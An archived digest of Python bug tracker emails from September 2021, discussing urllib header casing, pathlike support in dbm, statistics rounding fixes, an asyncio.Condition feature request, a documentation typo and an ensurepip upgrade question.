From: report at bugs.python.org (=?utf-8?b?RS4gTS4gUC4gSMO2bGxlcg==?=)
Date: Thu, 09 Sep 2021 00:39:40 +0000
Subject: [issue45145] Case of headers in urllib.request.Request
Message-ID: <1631147980.88.0.915702969887.issue45145@roundup.psfhosted.org>


New submission from E. M. P. H?ller :

urllib.request.Request internally .capitalize()s header names before adding them, as can be seen here:  https://github.com/python/cpython/blob/3.9/Lib/urllib/request.py#L399

Since HTTP headers are case-insensitive, but dicts are not, this ensures that add_header and add_unredirected_header overwrite an existing header (as documented) even if they were passed in different cases.  However, this also carries two problems with it:

1. has_header, get_header, and remove_header do not apply this normalisation to their header_name parameter, causing them to fail unexpectedly when the header is passed in the wrong case.
2. Some servers do not comply with the standard and check some headers case-sensitively.  If the case they expect is different from the result of .capitalize(), those headers effectively cannot be passed to them via urllib.

These problems have already been discussed quite some time ago, and yet they still are present:
https://bugs.python.org/issue2275
https://bugs.python.org/issue12455
Or did I overlook something and there is a good reason why things are this way?

If not, I suggest that add_header and add_unredirected_header store the headers in the case they were passed (while preserving the case-insensitive overwriting behaviour) and that has_header, get_header, and remove_header find headers independent of case.

Here is a possible implementation:

# Helper outside class

# Stops after the first hit since there should be at most one of each header in the dict
def _find_key_insensitive(d, key):
  key = key.lower()
  for key2 in d:
    if key2.lower() == key:
      return key2
  return None # Unnecessary, but explicit is better than implicit ;-)

# Methods of Request

def add_header(self, key, val):
  # useful for something like authentication
  existing_key = _find_key_insensitive(self.headers, key)
  if existing_key:
    self.headers.pop(existing_key)
  self.headers[key] = val

def add_unredirected_header(self, key, val):
  # will not be added to a redirected request
  existing_key = _find_key_insensitive(self.unredirected_hdrs, key)
  if existing_key:
    self.unredirected_hdrs.pop(existing_key)
  self.unredirected_hdrs[key] = val

def has_header(self, header_name):
  return bool(_find_key_insensitive(self.headers, header_name) or
      _find_key_insensitive(self.unredirected_hdrs, header_name))

def get_header(self, header_name, default=None):
  key = _find_key_insensitive(self.headers, header_name)
  if key:
    return self.headers[key]
  key = _find_key_insensitive(self.unredirected_hdrs, header_name)
  if key:
    return self.unredirected_hdrs[key]
  return default

def remove_header(self, header_name):
  key = _find_key_insensitive(self.headers, header_name)
  if key:
    self.headers.pop(key)
  key = _find_key_insensitive(self.unredirected_hdrs, header_name)
  if key:
    self.unredirected_hdrs.pop(key)

I?m sorry if it is frowned upon to post code suggestions here like that; I didn?t have the confidence to create a pull request right away.

----------
components: Library (Lib)
messages: 401429
nosy: emphoeller
priority: normal
severity: normal
status: open
title: Case of headers in urllib.request.Request
type: behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:41:00 2021
From: report at bugs.python.org (=?utf-8?q?Hakan_=C3=87elik?=)
Date: Thu, 09 Sep 2021 00:41:00 +0000
Subject: [issue45133] Open functions in dbm submodule should support path-like
 objects
In-Reply-To: <1631042791.04.0.276454650964.issue45133@roundup.psfhosted.org>
Message-ID: <1631148060.04.0.513065449418.issue45133@roundup.psfhosted.org>


Change by Hakan ?elik :


----------
nosy: +hakancelik
nosy_count: 1.0 -> 2.0
pull_requests: +26668
pull_request: https://github.com/python/cpython/pull/20274

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:42:28 2021
From: report at bugs.python.org (David Mertz)
Date: Thu, 09 Sep 2021 00:42:28 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631148148.78.0.548733775292.issue40563@roundup.psfhosted.org>


David Mertz  added the comment:

I've made the few additional changes to those in this PR.  When I work out the issues, I'll make a new PR.  I took out an attempt with `path_t`.  However, here is why I think argument clinic (or something else?!) is actually intercepting the attempted call:

With my temporary debugging, I have this function in `Modules/_gdbmmodule.c`:

```c
[clinic start generated code]*/

static PyObject *
dbmopen_impl(PyObject *module, PyObject *filename, const char *flags,
             int mode)
/*[clinic end generated code: output=9527750f5df90764 input=812b7d74399ceb0e]*/
{
    PyObject_Print(filename, stdout, 0);
    printf(" from _gdbmmodule.c (XXX)\n");
    /* ... rest of function ...*/
```

And I have a very simplified test script:

```python
import _gdbm
import sys
from pathlib import Path

print(sys.version)
path = '/tmp/tmp.db'

db = _gdbm.open(path, 'c')
print("Opened with string path")
db.close()

db = _gdbm.open(Path(path), 'c')
print("Opened with path-like")
db.close()
```

The output of running this is:

```
3.11.0a0 (heads/[bpo-45133](https://bugs.python.org/issue45133)-dirty:0376feb030, Sep  8 2021, 00:39:39) [GCC 10.3.0]
'/tmp/tmp.db' from _gdbmmodule.c (XXX)
Opened with string path
Traceback (most recent call last):
  File "/home/dmertz/tmp/pathlike-dbm.py", line 12, in 
    db = _gdbm.open(Path(path), 'c')
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: open() argument 1 must be str, not PosixPath
```

So before I get to the first line of the _gdbm.open() function, the TypeError is already occurring when passed a PosixPath.

----------
nosy: +DavidMertz
type:  -> enhancement
versions: +Python 3.11 -Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:48:58 2021
From: report at bugs.python.org (David Mertz)
Date: Thu, 09 Sep 2021 00:48:58 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631148538.78.0.453178456882.issue40563@roundup.psfhosted.org>


David Mertz  added the comment:

If anyone wants to look at my not-yet-complete changes (see other comment), it's https://github.com/DavidMertz/cpython/tree/bpo-45133.  It has a different bpo because I filed a duplicate before realizing.  I can change the branch name before a PR, but making it work is the more important issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 23:00:24 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 03:00:24 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631156423.99.0.422103131139.issue20499@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 4a5cccb02bb2254634c0fbb2cbb14e2e7f45e2d5 by Raymond Hettinger in branch 'main':
bpo-20499: Rounding error in statistics.pvariance (GH-28230)
https://github.com/python/cpython/commit/4a5cccb02bb2254634c0fbb2cbb14e2e7f45e2d5


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 23:06:34 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 03:06:34 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631156794.18.0.413187188077.issue20499@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 23:16:52 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 03:16:52 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631157412.57.0.481366581273.issue20499@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
pull_requests: +26669
pull_request: https://github.com/python/cpython/pull/28248

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 23:42:38 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 03:42:38 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631158958.66.0.303750374666.issue20499@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 3c30805b58421a1e2aa613052b6d45899f9b1b5d by Raymond Hettinger in branch '3.10':
[3.10] bpo-20499: Rounding error in statistics.pvariance (GH-28230) (GH-28248)
https://github.com/python/cpython/commit/3c30805b58421a1e2aa613052b6d45899f9b1b5d


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 23:44:10 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 03:44:10 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631159050.82.0.096351507279.issue20499@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
assignee: steven.daprano -> rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 00:46:16 2021
From: report at bugs.python.org (Mykola Mokhnach)
Date: Thu, 09 Sep 2021 04:46:16 +0000
Subject: [issue45146] Add a possibility for asyncio.Condition to determine the
 count of currently waiting consumers
Message-ID: <1631162776.4.0.536124821312.issue45146@roundup.psfhosted.org>


New submission from Mykola Mokhnach :

Currently the asyncio.Condition class does not provide any properties that would allow to determine how many (if) consumers are waiting for the current condition. My scenario is the following:

```
...
FILE_STATS_CONDITIONS: Dict[str, asyncio.Condition] = {}
FILE_STATS_CACHE: Dict[str, Union[FileStat, Exception]] = {}

...

    async def _fetch_file_stat(self: T, file_id: str) -> FileStat:
        """
        The idea behind this caching is to avoid sending multiple info requests
        for the same file id to the server and thus to avoid throttling. This is safe, because
        stored files are immutable.
        """
        try:
            file_stat: FileStat
            if file_id in FILE_STATS_CONDITIONS:
                self.log.debug(f'Reusing the previously cached stat request for the file {file_id}')
                async with FILE_STATS_CONDITIONS[file_id]:
                    await FILE_STATS_CONDITIONS[file_id].wait()
                    cached_result = FILE_STATS_CACHE[file_id]
                    if isinstance(cached_result, FileStat):
                        file_stat = cached_result
                    else:
                        raise cached_result
            else:
                FILE_STATS_CONDITIONS[file_id] = asyncio.Condition()
                cancellation_exception: Optional[asyncio.CancelledError] = None
                async with FILE_STATS_CONDITIONS[file_id]:
                    file_stat_task = asyncio.create_task(self.storage_client.get_file_stat(file_id))
                    try:
                        try:
                            file_stat = await asyncio.shield(file_stat_task)
                        except asyncio.CancelledError as e:
                            if len(getattr(FILE_STATS_CONDITIONS[file_id], '_waiters', (None,))) == 0:
                                # it is safe to cancel now if there are no consumers in the waiting queue
                                file_stat_task.cancel()
                                raise
                            # we don't want currently waiting consumers to fail because of the task cancellation
                            file_stat = await file_stat_task
                            cancellation_exception = e
                        FILE_STATS_CACHE[file_id] = file_stat
                    except Exception as e:
                        FILE_STATS_CACHE[file_id] = e
                        raise
                    finally:
                        FILE_STATS_CONDITIONS[file_id].notify_all()
                if cancellation_exception is not None:
                    raise cancellation_exception
            # noinspection PyUnboundLocalVariable
            self.log.info(f'File stat: {file_stat}')
            return file_stat
        except ObjectNotFoundError:
            self.log.info(f'The file identified by "{file_id}" either does not exist or has expired')
            raise file_not_found_error(file_id)
        finally:
            if file_id in FILE_STATS_CONDITIONS and not FILE_STATS_CONDITIONS[file_id].locked():
                del FILE_STATS_CONDITIONS[file_id]
                if file_id in FILE_STATS_CACHE:
                    del FILE_STATS_CACHE[file_id]
```

Basically I need to use `getattr(FILE_STATS_CONDITIONS[file_id], '_waiters', (None,))` to workaround this limitation in order to figure out whether to cancel my producer now or later.

It would be nice to have a public property on the Condition class, which would basically return the value of `len(condition._waiters)`.

----------
components: asyncio
messages: 401434
nosy: asvetlov, mykola-mokhnach, yselivanov
priority: normal
severity: normal
status: open
title: Add a possibility for asyncio.Condition to determine the count of currently waiting consumers
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 02:19:01 2021
From: report at bugs.python.org (Ming Hua)
Date: Thu, 09 Sep 2021 06:19:01 +0000
Subject: [issue45147] Type in "What's New In Python 3.10" documentation
Message-ID: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>


New submission from Ming Hua :

It's just a small typo, but since the documentation recommends reporting to bug tracker, here it is.

After downloading the 64-bit Windows Installer for 3.10.0 rc2 and successfully installing on my Windows 10, the "Python 3.10 Manuals" in start menu opens a (presumably) .chm documentation in Windows HTML Helper.  There in the "What's New in Python" > "What's New In Python 3.10" > "Deprecated" section, first paragraph, last line, is:
    If future releases it will be changed...
It should be "IN future releases" instead.

----------
assignee: docs at python
components: Documentation
messages: 401435
nosy: docs at python, minghua
priority: normal
severity: normal
status: open
title: Type in "What's New In Python 3.10" documentation
versions: Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 02:28:08 2021
From: report at bugs.python.org (Ming Hua)
Date: Thu, 09 Sep 2021 06:28:08 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631168888.85.0.426380903401.issue45147@roundup.psfhosted.org>


Change by Ming Hua :


----------
title: Type in "What's New In Python 3.10" documentation -> Typo in "What's New In Python 3.10" documentation

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:09:50 2021
From: report at bugs.python.org (baterflyrity)
Date: Thu, 09 Sep 2021 07:09:50 +0000
Subject: [issue45148] ensurepip upgrade fails
Message-ID: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>


New submission from baterflyrity :

Upgrading pip via ensurepip unfortunately doesn't do anything wealthy.

```bash
user at host MINGW64 ~
$ pip list | grep pip
pip                       21.2.3
WARNING: You are using pip version 21.2.3; however, version 21.2.4 is available.
You should consider upgrading via the 'C:\Python39\python.exe -m pip install --upgrade pip' command.

user at host MINGW64 ~
$ py -m ensurepip --upgrade
Looking in links: c:\Users\BATERF~1\AppData\Local\Temp\tmpuv4go5fy
Requirement already satisfied: setuptools in c:\python39\lib\site-packages (57.4.0)
Requirement already satisfied: pip in c:\python39\lib\site-packages (21.2.3)

user at host MINGW64 ~
$ pip list | grep pip
pip                       21.2.3
WARNING: You are using pip version 21.2.3; however, version 21.2.4 is available.
You should consider upgrading via the 'C:\Python39\python.exe -m pip install --upgrade pip' command.
```

----------
components: Windows
messages: 401436
nosy: baterflyrity, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: ensurepip upgrade fails
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:10:36 2021
From: report at bugs.python.org (baterflyrity)
Date: Thu, 09 Sep 2021 07:10:36 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631171436.19.0.48476969087.issue45148@roundup.psfhosted.org>


baterflyrity  added the comment:

See also: https://github.com/pypa/pip/issues/10453

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:23:50 2021
From: report at bugs.python.org (Paul Moore)
Date: Thu, 09 Sep 2021 07:23:50 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631172230.0.0.105431963818.issue45148@roundup.psfhosted.org>


Paul Moore  added the comment:

>From the documentation:

> upgrade indicates whether or not to upgrade an existing installation of an earlier version of pip to the bundled version.

Note the comment "to the bundled version". This command will not access the internet (also noted in the documentation) and so will not get a later version than the bundled one.

To get the latest version of pip, you need to use

    /path/to/your/python -m pip install --upgrade pip

Note:

1. You must *not* use the pip executable, you must use `python -m pip`, as the command will be upgrading the pip executable and Windows won't let you upgrade an executable you are using.
2. You should use the full path to your Python, or ensure by other means that you are running the correct copy of Python. This command only upgrades the copy of pip associated with the Python interpreter you use to run the upgrade command.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:24:11 2021
From: report at bugs.python.org (Paul Moore)
Date: Thu, 09 Sep 2021 07:24:11 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631172251.84.0.4884030031.issue45148@roundup.psfhosted.org>


Change by Paul Moore :


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:28:48 2021
From: report at bugs.python.org (Mark Dickinson)
Date: Thu, 09 Sep 2021 07:28:48 +0000
Subject: [issue44344] Documentation for pow() should include the possibility
 of complex numbers as a return type
In-Reply-To: <1623125616.73.0.892905550694.issue44344@roundup.psfhosted.org>
Message-ID: <1631172528.58.0.0100403305335.issue44344@roundup.psfhosted.org>


Mark Dickinson  added the comment:

@Erik: Do you have a moment to look at the PR (GH-27853) and see if the proposed changes work for you?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:45:42 2021
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 09 Sep 2021 07:45:42 +0000
Subject: [issue45149] Cover directory and zipfile execution in __main__ module
 docs
Message-ID: <1631173542.48.0.638794162329.issue45149@roundup.psfhosted.org>


New submission from Nick Coghlan :

bpo-39452 covered significant improvements to the __main__ module documentation at https://docs.python.org/dev/library/__main__.html, making it a better complement to the CPython CLI documentation at https://docs.python.org/dev/using/cmdline.html#command-line

This follow up ticket covers the `__main__` variant that the previous ticket didn't cover: directory and zipfile execution (which underlies the utility of the `zipapp` stdlib module: https://docs.python.org/dev/library/zipapp.html)

The relevant info is present in the CLI and runpy.run_path documentation, so this ticket just covers adding that info to the `__main__` module docs.

----------
messages: 401440
nosy: ncoghlan
priority: normal
severity: normal
stage: needs patch
status: open
title: Cover directory and zipfile execution in __main__ module docs
type: enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:48:17 2021
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 09 Sep 2021 07:48:17 +0000
Subject: [issue39452] Improve the __main__ module documentation
In-Reply-To: <1579960807.69.0.285569916248.issue39452@roundup.psfhosted.org>
Message-ID: <1631173697.04.0.175481118759.issue39452@roundup.psfhosted.org>


Nick Coghlan  added the comment:

These changes are excellent - thanks for the patch!

Something even the updated version doesn't cover yet is directory and zipfile execution, so I filed bpo-45149 as a follow up ticket for that (the info does exist elsewhere in the documentation, so it's mostly just a matter of adding it to the newly expanded page, and deciding what new cross-references, if any, would be appropriate)

----------
nosy: +ncoghlan

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 03:52:25 2021
From: report at bugs.python.org (baterflyrity)
Date: Thu, 09 Sep 2021 07:52:25 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631173945.74.0.830003033551.issue45148@roundup.psfhosted.org>


baterflyrity  added the comment:

> Note the comment "to the bundled version".

Thanks. Have not knew.

> 1. You must *not* use the pip executable, you must use `python -m pip`, as the command will be upgrading the pip executable and Windows won't let you upgrade an executable you are using.

You are wrong. Windows lets me update pip via pip.

Also must notice that ensurepip also deletes the current pip before installing it's own. So in case of "Permission denied" error it just deletes pip (see https://github.com/pypa/pip/issues/9527). Should i create new issue for this?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:01:06 2021
From: report at bugs.python.org (Paul Moore)
Date: Thu, 09 Sep 2021 08:01:06 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631174466.64.0.897303230025.issue45148@roundup.psfhosted.org>


Paul Moore  added the comment:

> You are wrong. Windows lets me update pip via pip.

You have misinterpreted what you are seeing.

> Should i create new issue for this?

No, you should follow the correct process and use `python -m pip`, and not use pip directly.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:13:52 2021
From: report at bugs.python.org (Mykola Mokhnach)
Date: Thu, 09 Sep 2021 08:13:52 +0000
Subject: [issue45146] Add a possibility for asyncio.Condition to determine the
 count of currently waiting consumers
In-Reply-To: <1631162776.4.0.536124821312.issue45146@roundup.psfhosted.org>
Message-ID: <1631175232.39.0.459611475248.issue45146@roundup.psfhosted.org>


Mykola Mokhnach  added the comment:

This improvement request is also applicable to other asyncio synchronization primitives that contain a waiting queue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:39:49 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 09 Sep 2021 08:39:49 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631176789.19.0.450608065772.issue45017@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

What is wrong with this? Is such logic used in the dis module or any other module outside modulefinder?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:40:38 2021
From: report at bugs.python.org (Vincent Michel)
Date: Thu, 09 Sep 2021 08:40:38 +0000
Subject: [issue44129] zipfile: Add descriptive global variables for general
 purpose bit flags
In-Reply-To: <1620968007.4.0.439932400929.issue44129@roundup.psfhosted.org>
Message-ID: <1631176838.97.0.976537918695.issue44129@roundup.psfhosted.org>


Change by Vincent Michel :


----------
nosy: +vxgmichel
nosy_count: 2.0 -> 3.0
pull_requests: +26670
pull_request: https://github.com/python/cpython/pull/28250

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:41:47 2021
From: report at bugs.python.org (Vincent Michel)
Date: Thu, 09 Sep 2021 08:41:47 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631176907.48.0.662519345737.issue44219@roundup.psfhosted.org>


Change by Vincent Michel :


----------
pull_requests: +26671
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28250

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:44:42 2021
From: report at bugs.python.org (Vincent Michel)
Date: Thu, 09 Sep 2021 08:44:42 +0000
Subject: [issue44129] zipfile: Add descriptive global variables for general
 purpose bit flags
In-Reply-To: <1620968007.4.0.439932400929.issue44129@roundup.psfhosted.org>
Message-ID: <1631177082.62.0.254588106684.issue44129@roundup.psfhosted.org>


Change by Vincent Michel :


----------
pull_requests:  -26670

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 04:55:07 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 08:55:07 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631177706.99.0.670863700434.issue45017@roundup.psfhosted.org>


Irit Katriel  added the comment:

The modulefinder module shouldn?t know what sequence of opcodes the compiler emits for import. 

For example, if the compiler changes you get a fairly high level test failure that you need to debug. After this refactor the test failure is more obviously pointing to what changed.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:01:06 2021
From: report at bugs.python.org (baterflyrity)
Date: Thu, 09 Sep 2021 09:01:06 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631178066.88.0.388093070992.issue45148@roundup.psfhosted.org>


baterflyrity  added the comment:

>> You are wrong. Windows lets me update pip via pip.
>
>You have misinterpreted what you are seeing.

I don't know technical details but i can successfully use this command: `pip install --upgrade pip`.

>No, you should follow the correct process and use `python -m pip`, and not use pip directly.

On pip's issues tracker i was suggested to use `ensurepip --upgrade`. Therefore it deletes global system's pip when is ran without sudo or admin rights (when the current version of pip is lower then bundled).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:02:58 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 09:02:58 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631178178.54.0.966234482122.issue44860@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 49acac00c08838d8080ce00d02c05284b94f8fb2 by Victor Stinner in branch 'main':
bpo-44860: Update test_sysconfig for posix_user platlib (GH-28235)
https://github.com/python/cpython/commit/49acac00c08838d8080ce00d02c05284b94f8fb2


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:05:40 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 09:05:40 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631178340.54.0.878849274794.issue44860@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26672
pull_request: https://github.com/python/cpython/pull/28251

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:12:31 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Thu, 09 Sep 2021 09:12:31 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x: Linux kernel 5.15 regression
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1631178751.94.0.0977306991047.issue45119@roundup.psfhosted.org>


Change by Miro Hron?ok :


----------
nosy: +hroncok

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:13:10 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Thu, 09 Sep 2021 09:13:10 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631178790.46.0.458595772274.issue45136@roundup.psfhosted.org>


Miro Hron?ok  added the comment:

The 3.10 backport is in https://github.com/python/cpython/pull/28251

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:18:04 2021
From: report at bugs.python.org (Matthias Urlichs)
Date: Thu, 09 Sep 2021 09:18:04 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631179084.35.0.984664179988.issue44219@roundup.psfhosted.org>


Matthias Urlichs  added the comment:

Please do. However, I do think that changing the stdstream related ioctl calls also is a good idea, if only for code regularity/completeness sake. 

(Besides, nothing prevents somebody from starting a FUSE file system and then redirecting stdout to it ?)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:28:52 2021
From: report at bugs.python.org (Paul Moore)
Date: Thu, 09 Sep 2021 09:28:52 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631179732.81.0.750262678412.issue45148@roundup.psfhosted.org>


Paul Moore  added the comment:

> I don't know technical details but i can successfully use this command: `pip install --upgrade pip`.

On Windows (and not under something like cygwin or msys, which have their own rules)? Anyway, it's not that important, the recommended approach is `python -m pip`, so whether using the non-recommended approach works or not doesn't really matter.

> On pip's issues tracker i was suggested to use `ensurepip --upgrade`.

Let's take that question back to the pip tracker. If you want the latest version of pip (as opposed to the bundled version) ensurepip isn't the right approach.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:36:01 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 09:36:01 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631180161.02.0.124895599787.issue44860@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 11103eb1f2199cacd8c2e29e3db0d19199885b45 by Miss Islington (bot) in branch '3.10':
bpo-44860: Update test_sysconfig for posix_user platlib (GH-28235) (GH-28251)
https://github.com/python/cpython/commit/11103eb1f2199cacd8c2e29e3db0d19199885b45


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:45:35 2021
From: report at bugs.python.org (baterflyrity)
Date: Thu, 09 Sep 2021 09:45:35 +0000
Subject: [issue45148] ensurepip upgrade fails
In-Reply-To: <1631171390.16.0.990723185381.issue45148@roundup.psfhosted.org>
Message-ID: <1631180735.69.0.129583125381.issue45148@roundup.psfhosted.org>


baterflyrity  added the comment:

OK, ive caught the salt of ensurepip.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:54:06 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 09:54:06 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631181246.0.0.265813406259.issue45136@roundup.psfhosted.org>


STINNER Victor  added the comment:

I mark this issue as a duplicate of bpo-44860.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> sysconfig's posix_user scheme has different platlib value to distutils's unix_user

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 05:54:22 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 09:54:22 +0000
